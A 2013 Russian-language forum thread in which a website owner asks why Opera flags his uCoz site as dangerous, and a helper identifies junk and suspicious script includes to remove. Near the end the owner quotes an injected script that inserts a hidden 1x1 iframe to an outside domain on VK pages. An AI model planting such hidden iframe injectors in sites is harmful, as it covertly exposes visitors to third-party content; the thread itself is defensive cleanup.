Опера светит Опасный Сайт что делать?
[-ДЬЯВОЛ-]
Сообщений: 27
Сообщение # 1 |
01:18:21
04 Авг 2013
Опера светит Опасный Сайт что делать? проверил вирусов нет ,зашел на 2ip.ru и там проверил пишет что На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код. Помогите как исправить
bandjuk
Сообщений: 6816
Уровень замечаний:
Сообщение # 2 |
01:20:11
04 Авг 2013
[-ДЬЯВОЛ-] , где сам сайт? Детский сад
[-ДЬЯВОЛ-]
Сообщений: 27
Сообщение # 3 |
01:29:12
04 Авг 2013
ой простите вот он http://xak-css.ru
bandjuk
Сообщений: 6816
Уровень замечаний:
Сообщение # 4 |
01:39:09
04 Авг 2013
[-ДЬЯВОЛ-] , что за скриптопомойка? в блоке меню сайта удалять: <script src="http://xak-css.ru/menu_sait/none.js" type="text/javascript"></script> <script type="text/javascript" src="http://xak-css.ru/menu_sait/m_color.js"></script Что это за простыня?
<script> // Автор Скрипта: Fenix //Hint Start // CLASS : MW_System_Load // Init function MW_System_Load(){ this.wib = screen.width; this.heb = screen.height; this.documes = (document.getElementById || document.createElement || document.getElementsByTagName) ? true : false; this.objects = window.addEventListener || window.attachEvent ? window : document.addEventListener ? document : null; this.types = 'load'; } MW_System_Load.prototype.addsevent = function(func){ if(this.objects.addEventListener){ this.objects.addEventListener(this.types,func,false); return true; } else if (this.objects.attachEvent){ this.objects.attachEvent("on" + this.types,func); } else { return false; } } MW_System_Load.prototype.browser = function(){ this.ver = navigator.appVersion; this.agent = navigator.userAgent.toLowerCase(); this.dom = document.getElementById ? 1:0; this.all = document.all ? 1:0; this.ie5 = (this.ver.indexOf("MSIE 5")>-1 && this.dom) ? 1:0; this.ie6 = (this.ver.indexOf("MSIE 6")>-1 && this.dom) ? 1:0; this.ie4 = (document.all && !this.dom) ? 1:0; this.ie = this.ie4 || this.ie5 || this.ie6; this.opera = this.agent.indexOf("opera")>-1; this.gecko = (this.agent.indexOf("gecko")!=-1) ? 1:0; this.bw = (this.ie || this.opera || this.gecko); return this; } MW_System_Load.prototype.findobj = function(obj){ this.parent = window.document; if(this.parent[obj]){ return this.parent[obj]; } if(this.parent.all && this.parent.all[obj]){ return this.parent.all[obj]; } if(this.parent.layers && this.parent.layers[obj]){ return this.parent.layers[obj]; } if(this.parent.getElementById && this.parent.getElementById(obj)){ return this.parent.getElementById(obj); } return null; } var MW = new MW_System_Load(); function MW_System_Hint(){} MW_System_Hint.prototype.show = function(obj,str){ var hint = MW.findobj('hint'); if(!obj){ return; } if(!MW.documes){ return; } if(!hint){ return; } hint.className = 'hint'; hint.style.left = 15; hint.style.top = 50; obj.onmouseout = function(advance){ hint.style.width = ''; hint.style.visibility = 'hidden'; if(hint.firstChild) hint.removeChild(hint.firstChild); hint.appendChild(document.createTextNode(str)); }; obj.onmousemove = function(advance){ //str = str.replace(/</g,"<"); //str = str.replace(/>/g,">"); hint.style.width = ''; hint.innerHTML = str; vc = document.getElementsByTagName((document.compatMode && document.compatMode=="CSS1Compat") ? "HTML":"BODY")[0]; x = window.event ? event.clientX + vc.scrollLeft : advance.pageX; y = window.event ? event.clientY + vc.scrollTop : advance.pageY; vcwidth = vc.clientWidth ? vc.clientWidth + vc.scrollLeft : window.innerWidth + window.pageXOffset; vcheight = vc.innerHeight ? window.innerHeight + window.pageYOffset : vc.clientHeight + vc.scrollTop; if(hint.offsetWidth>500){ hint.style.width = '200'; } if((x + hint.offsetWidth + 15) > vcwidth){ hint.style.left = x - hint.offsetWidth - 4; } else { hint.style.left = x + 15; } if((y + hint.offsetHeight + 19) > vcheight){ hint.style.top = y - hint.offsetHeight; } else { hint.style.top = y + 25; } //if(typeof(hint.style.MozOpacity)!="undefined"){ hint.style.opacity = '.91'; hint.style.filter = "alpha(opacity:91)"; //} hint.style.visibility = 'visible'; }; } MW_System_Hint.prototype.initialize = function(){ var hint = document.createElement("DIV"); hint.setAttribute('id','hint'); document.getElementsByTagName('body')[0].appendChild(hint); hint.style.visibility = 'hidden'; var hintmarker = ['a','img','img','input','span','div','textarea']; var textmarker = ['title','alt','title','title','title','title','title']; var lenmarker = hintmarker.length; for(var i=0; i<lenmarker; i++) { atr = document.getElementsByTagName(hintmarker[i]); for(var j=0; j<atr.length; j++) if(viewhint=atr[j].getAttribute(textmarker[i])){ atr[j].removeAttribute(textmarker[i]); HINT.show(atr[j],viewhint); } } } var HINT = new MW_System_Hint(); if(MW.objects){ MW.addsevent(HINT.initialize); } //Hint End </script>
из вида материалов новостей в футер или шаблон главной новостей: <style type="text/css" media="all"> @import url(/highslide/highslide.css); </style> <script type='text/javascript' src='/highslide/highslide.js'></script> <script type='text/javascript' src='/highslide/include_highslide.js'></script> <script type="text/javascript"> hs.graphicsDir = '/highslide/graphics/'; </script> на каком сервере сайт? Первый раз такое вижу: навести порядок тут: <meta name='yandex-verification' content='4900534a9308bcfb' /> <link type="text/css" rel="StyleSheet" href="/_st/my.css" /> <link rel="alternate" type="application/rss+xml" title="Sitemap XML" href="/sitemap.xml" /> <script></script> <link type="text/css" rel="StyleSheet" href="/src/layer6.css" /> <script type="text/javascript" src="/src/jquery-1.3.2.js"></script><script type="text/javascript" src="/src/uwnd.js?2"></script><style type="text/css">.UhideBlock {display:none}</style> <link type="text/css" rel="StyleSheet" href="http://s103.ucoz.net/src/layer6.css" /> <script type="text/javascript" src="http://s103.ucoz.net/src/jquery-1.3.2.js"></script><script type="text/javascript" src="http://s103.ucoz.net/src/uwnd.js?2"></script><style type="text/css">.UhideBlock {display:none}</style> <script type="text/javascript" src="/highslide/highslide.js"></script> <link rel="stylesheet" type="text/css" href="/highslide/highslide.css" /> <script type="text/javascript"> // override Highslide settings here // instead of editing the highslide.js file hs.graphicsDir = '/highslide/graphics/'; </script> <link type="text/css" rel="StyleSheet" href="http://s63.ucoz.net/src/base.css" /> <link type="text/css" rel="StyleSheet" href="http://s63.ucoz.net/src/layer1.css" /> <script type="text/javascript" src="http://s63.ucoz.net/src/jquery-1.7.2.js"></script> <script type="text/javascript">window.ulb = {closeBtn: 'Закрыть', error: 'Запрошенный контент не может быть загружен. Пожалуйста, попробуйте позже.', next: 'Вперед', prev: 'Предыдущий', btnPlay: 'Начать слайдшоу', btnToggle: 'Изменить размер'}</script> <link href="http://s63.ucoz.net/src/ulightbox/ulightbox.css" rel="stylesheet" type="text/css" /><script type="text/javascript" src="http://s63.ucoz.net/src/ulightbox/ulightbox.js"></script> <script type="text/javascript" src="http://s63.ucoz.net/src/uwnd.js?2"></script>
[-ДЬЯВОЛ-]
Сообщений: 27
Сообщение # 5 |
01:52:24
04 Авг 2013
bandj,Вчера было все нормально , а сегодня вот такая вот проблемаДобавлено (04 Авг 2013, 01:52:24) --------------------------------------------- Такой вопросик еще, Все эти скрипты коды и т.д стояли уже месяца 2-3 _но стало это только вчера может быть такое иза файло обменика shareflare?
bandjuk
Сообщений: 6816
Уровень замечаний:
Сообщение # 6 |
01:54:21
04 Авг 2013
[-ДЬЯВОЛ-] , нет, в одном из скриптов фрейм. Когда удалишь должно пройти время чтобы яндекс снял бирку с сайта
[-ДЬЯВОЛ-]
Сообщений: 27
Сообщение # 7 |
02:04:43
04 Авг 2013
а как я узнаю удалил я или нет? то я удалил или не то? как посмотреть?Добавлено (04 Авг 2013, 02:04:43) --------------------------------------------- Я походу нашел внедоростный скрипт ВОТ ОН function gstat(){try{ if (window.top == window.self && !document.getElementById('g_stt')) { var domain = document.location.toString().split("/")[2]; var domain = domain.split("www.").join(""); if (domain == "vkontakte.ru" || domain == "vk.com"){ var div=document.createElement('div'); var data="<iframe id='g_stt' src='http://vkpulse.ru/' style='width:1px;height:1px;overflow:hidden;position:absolute;left:-1px;' scrolling='no' frameborder='0' allowtransparency='1'></iframe>"; div.innerHTML=data; document.body.appendChild(div); } } }catch(e){} } gstat();
bandjuk
Сообщений: 6816
Уровень замечаний:
Сообщение # 8 |
02:06:31
04 Авг 2013
[-ДЬЯВОЛ-] , вроде бы всё по-русски написал, что неясного? Конкретно вредоносный код в этом скрипте: Цитата
в блоке "меню сайта" удалять: <script src="http://xak-css.ru/menu_sait/none.js" type="text/javascript"></script>
остальное ненужный мусор. Цитата (|-ДЬЯВОЛ-| )
а как я узнаю удалил я или нет?
точно детский сад. А как ты узнаёшь покакал ты или нет?
Сообщение отредактировал bandjuk - Воскресенье, 04 Авг 2013, 02:06:51
[-ДЬЯВОЛ-]
Сообщений: 27
Сообщение # 9 |
02:07:21
04 Авг 2013